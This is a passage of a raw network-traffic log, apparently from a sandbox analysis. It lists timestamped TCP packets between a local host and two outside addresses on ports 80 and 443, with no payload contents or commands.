Dec 21, 2024 18:16:36.671195984 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.671204090 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.671245098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.672092915 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.672141075 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.672214031 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.672256947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.673219919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.673274994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.673337936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.673398018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.674345016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.674391985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.674493074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.674536943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.675672054 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.675715923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.675786018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.675828934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.676753044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.676793098 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.676810026 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.676853895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.677983046 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.678029060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.678077936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.678122044 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.679090977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.679132938 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.679214954 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.679258108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.680283070 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.680385113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.680397034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.680437088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.681523085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.681562901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.681634903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.681680918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.682706118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.682749987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.682831049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.682878017 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.683887005 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.683928013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.684000969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.684043884 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.684987068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.685029030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.685071945 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.685118914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.686156034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.686204910 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.686273098 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.686315060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.687511921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.687550068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.687589884 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.687634945 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.688522100 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.688563108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.688637018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.688679934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.689685106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.689734936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.689817905 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.689861059 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.691112995 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.691203117 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.821923018 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.821980000 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.822004080 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.822029114 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.822249889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.822288990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.822293043 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.822330952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.823436975 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.823494911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.823647976 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.823692083 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.823755980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.823800087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.825150967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.825203896 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.825212955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.825246096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.826025009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.826071024 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.826142073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.826185942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.827260017 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.827306032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.827369928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.827413082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.828365088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.828413963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.828481913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.828526020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.829583883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.829629898 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.829679012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.829719067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.830684900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.830734968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.830924034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.830966949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.831916094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.832015991 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.832082033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.832123995 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.833089113 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.833133936 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.833209991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.833256006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.834271908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.834317923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.834378958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.834422112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.835448980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.835504055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.835572958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.835616112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.836719990 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.836767912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.836822987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.836864948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.837796926 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.837843895 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.837852001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.837896109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.838996887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.839054108 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.839097977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.839149952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.840229034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.840276003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.840331078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.840380907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.841326952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.841365099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.841432095 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.841473103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.842658997 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.842706919 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.842713118 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.842758894 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.843694925 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.843744993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.843816042 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.843861103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.844872952 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.844928026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.844994068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.845038891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.846091032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.846155882 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.846203089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.846247911 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.847250938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.847306967 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.847372055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.847419977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.848424911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.848472118 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.848611116 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.848654985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.849605083 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.849648952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.849714041 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.849771023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.850747108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.850792885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.850857973 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.850903034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.851942062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.852056980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.852091074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.852103949 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.853142977 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.853199005 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.853249073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.853293896 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.854382992 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.854429960 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.854495049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.854537010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.855478048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.855525970 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.855604887 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.855649948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.856662989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.856715918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.856760979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.856808901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.857845068 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.857893944 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.857955933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.857996941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.859004974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.859050989 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.859077930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.859122992 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.860224009 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.860269070 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.860395908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.860435963 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.861402988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.861452103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.861587048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.861629009 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.862593889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.862632990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.862698078 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.862740993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.864083052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.864121914 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.864229918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.864270926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.865133047 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.865199089 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.865228891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.865278006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.866175890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.866216898 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.866298914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.866343021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.867460966 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.867507935 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.867588043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.867633104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.869194984 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.869246006 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.869311094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.869369030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.869987965 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.870032072 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.870110035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.870157957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.870966911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.871016979 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.871062994 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.871118069 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.871990919 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.872051001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.872159958 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.872212887 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.873188972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.873241901 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.873307943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.873356104 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.874767065 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.874814034 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.874972105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.875014067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.876168013 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.876213074 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.876327991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.876363993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.877518892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.877566099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.877643108 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.877682924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.878339052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.878387928 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.878392935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.878437042 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.879343033 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.879393101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.879395962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.879446030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.880462885 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.880522013 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.880600929 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.880649090 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.881572962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.881613016 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.881691933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.881736994 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.882601023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.882694960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:36.882695913 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.882740021 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:36.973261118 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:36.973347902 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:36.974762917 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:36.974771976 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:36.975004911 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:36.976268053 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:36.976299047 CET	49841	443	192.168.2.4	104.21.67.146
Dec 21, 2024 18:16:36.976330996 CET	443	49841	104.21.67.146	192.168.2.4
Dec 21, 2024 18:16:37.014563084 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.014614105 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.014620066 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.014656067 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.014854908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.014905930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.015013933 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.015064001 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.016005993 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.016061068 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.016124010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.016169071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.017231941 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.017281055 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.017290115 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.017347097 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.018410921 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.018464088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.018582106 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.018634081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.019548893 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.019598961 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.019685030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.019732952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.020721912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.020772934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.020803928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.020857096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.021967888 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.022015095 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.022099972 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.022149086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.023159027 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.023204088 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.023334980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.023386002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.024291039 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.024337053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.024419069 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.024466038 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.025458097 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.025507927 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.025592089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.025643110 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.026674032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.026721954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.026787043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.026830912 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.028213024 CET	80	49826	31.41.244.11	192.168.2.4
